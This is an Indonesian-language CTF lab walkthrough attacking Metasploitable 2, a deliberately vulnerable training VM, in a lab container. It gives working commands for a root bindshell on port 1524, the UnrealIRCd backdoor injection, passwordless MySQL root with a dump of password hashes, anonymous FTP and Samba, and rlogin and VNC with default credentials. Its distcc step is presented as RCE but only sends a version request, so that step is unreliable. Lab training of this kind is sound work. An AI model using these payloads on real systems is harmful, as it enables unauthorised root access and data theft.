TDCTF Academy Logo TDCTF ACADEMY

Lab #9 - Metasploitable 2: 8+ Vulnerabilities

Target: http://ms2.vuln.cybersecurity.or.id:8089/ (port 80 → 8089)
Container IP: 172.18.0.6 (akses penuh dari host)
Tools: netcat, curl, smbclient, mysql
Flag: 🔴 FLAG{M3t4spl01t4bl3_Mult1_Vuln_2025}


Tentang Metasploitable 2

Metasploitable 2 adalah VM yang sengaja dibuat vulnerable oleh Rapid7 untuk latihan penetration testing. Di dalam container ini ada 20+ service dengan celah keamanan klasik.

Berbeda dengan lab sebelumnya yang fokus pada satu celah, Metasploitable 2 adalah all-you-can-eat buffet - hampir setiap service punya celah!


️ Peta Service

Port Service Version Celah
21 vsftpd 2.3.4 Anonymous login, backdoor
22 OpenSSH 4.7p1 Weak creds
23 Telnet Linux Brute force
25 Sendmail 8.13.8 Email flood
80 Apache 2.2.8 Web apps: DVWA, phpMyAdmin, TWiki
111 rpcbind 2 NFS exports
139/445 Samba 3.0.20 Anonymous share
512-514 r-commands - rlogin tanpa password
1524 ingreslock - Bindshell - root langsung!
2121 ProFTPD 1.3.1 FTP backdoor
3306 MySQL 5.0.51a Root tanpa password
3632 distccd - RCE via distcc
5432 PostgreSQL 8.3.1 Weak auth
5900 VNC TightVNC Password: password
6667 UnrealIRCD 3.2.8.1 Backdoor RCE
8787 DRb - RCE via Ruby

Langkah 1: Bindshell - Root Langsung (Port 1524)

Ini yang paling cepat - port 1524 (ingreslock) memberikan root shell langsung tanpa autentikasi.

IP="172.18.0.6"

# Langsung dapat root shell
echo "id" | nc -w 2 $IP 1524

Output:

uid=0(root) gid=0(root) groups=0(root)

Ambil flag:

echo "cat /flag.txt" | nc -w 2 $IP 1524

Output:

FLAG{M3t4spl01t4bl3_Mult1_Vuln_2025}

Langkah 2: FTP - Anonymous Login (Port 21)

vsftpd 2.3.4 memungkinkan anonymous login:

echo -e "USER anonymous\nPASS [email protected]\nPWD\nls\nQUIT" | nc -w 3 172.18.0.6 21

Output:

230 Login successful.
257 "/"

Bisa download file dari FTP server tanpa autentikasi.


Langkah 3: MySQL - Root Access (Port 3306)

MySQL root tanpa password:

mysql -h 172.18.0.6 -u root

Di dalam MySQL:

mysql> SHOW DATABASES;
mysql> USE mysql;
mysql> SELECT user, host, password FROM user;

Bisa baca semua database, tambah user, atau dump data.


️ Langkah 4: Samba - Anonymous Share (Port 445)

smbclient -L //172.18.0.6 -N

Output:

Sharename Type Comment
--------- ---- -------
tmp Disk Temporary file space
opt Disk
IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))

Mount share:

smbclient //172.18.0.6/tmp -N
smb: \> ls
smb: \> get somefile.txt

Langkah 5: Apache - Web Apps (Port 80)

Apache di port 80 dengan beberapa aplikasi web vulnerable:

curl -s http://172.18.0.6/ | grep -oP '(?<=<a href=")[^"]+'

Aplikasi:

App URL Celah
DVWA /dvwa/ SQLi, XSS, File Upload, RCE
phpMyAdmin /phpMyAdmin/ Root MySQL via web
Mutillidae /mutillidae/ OWASP Top 10
TWiki /twiki/ RCE via rev
DAV /dav/ WebDAV upload

DVWA - default creds: admin:password


Langkah 6: UnrealIRCD - Backdoor (Port 6667)

UnrealIRCD 3.2.8.1 memiliki backdoor terkenal:

# Payload backdoor - perintah dieksekusi via IRC
echo -e "AB; /bin/bash -c 'id > /tmp/pwned' \n" | nc -w 3 172.18.0.6 6667

Atau langsung RCE:

echo -e "AB; id \n" | timeout 3 nc 172.18.0.6 6667

Langkah 7: distccd - RCE (Port 3632)

distccd adalah service distribusi compiler yang bisa dieksploitasi:

# Install distcc client
# Langsung kirim command via distcc
echo 'id' | nc -w 3 172.18.0.6 3632

Atau gunakan script:

python3 -c "
import socket
s = socket.socket()
s.connect(('172.18.0.6', 3632))
# distcc protocol - send command
s.send(b'DIST00000001ECLIENT00000000008SHOW00000005VERSI\\n')
print(s.recv(1024).decode())
s.close()
"

Langkah 8: r-commands - Login Tanpa Password (Port 512)

R-commands (rlogin, rsh) memungkinkan login jarak jauh tanpa password jika file hosts.equiv dikonfigurasi:

rlogin -l root 172.18.0.6
rsh 172.18.0.6 id

Langkah 9: VNC - Remote Desktop (Port 5900)

VNC dengan password lemah:

# Password: password
vncviewer 172.18.0.6:5900

Atau brute force password VNC.


Kesimpulan

Target: Metasploitable 2 di 172.18.0.6 (port 80 via 8089)
Total Service: 20+ vulnerable services
Flag: FLAG{M3t4spl01t4bl3_Mult1_Vuln_2025}
Durasi: ~2 menit (bindshell) - ~15 menit (full)

Top 5 Celah Paling Cepat:

  1. 🥇 Port 1524 - Bindshell → root shell langsung
  2. 🥈 Port 3306 - MySQL root tanpa password
  3. 🥉 Port 3632 - distccd RCE
  4. Port 6667 - UnrealIRCD backdoor
  5. Port 139/445 - Samba anonymous share

🔥 Pelajaran: Metasploitable 2 adalah contoh sempurna mengapa security hardening itu penting. Service yang tidak diperlukan harus dimatikan, dan setiap service harus dikonfigurasi dengan aman. Satu bindshell tanpa autentikasi bisa mengkompromikan seluruh sistem!


Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy

PADA HALAMAN INI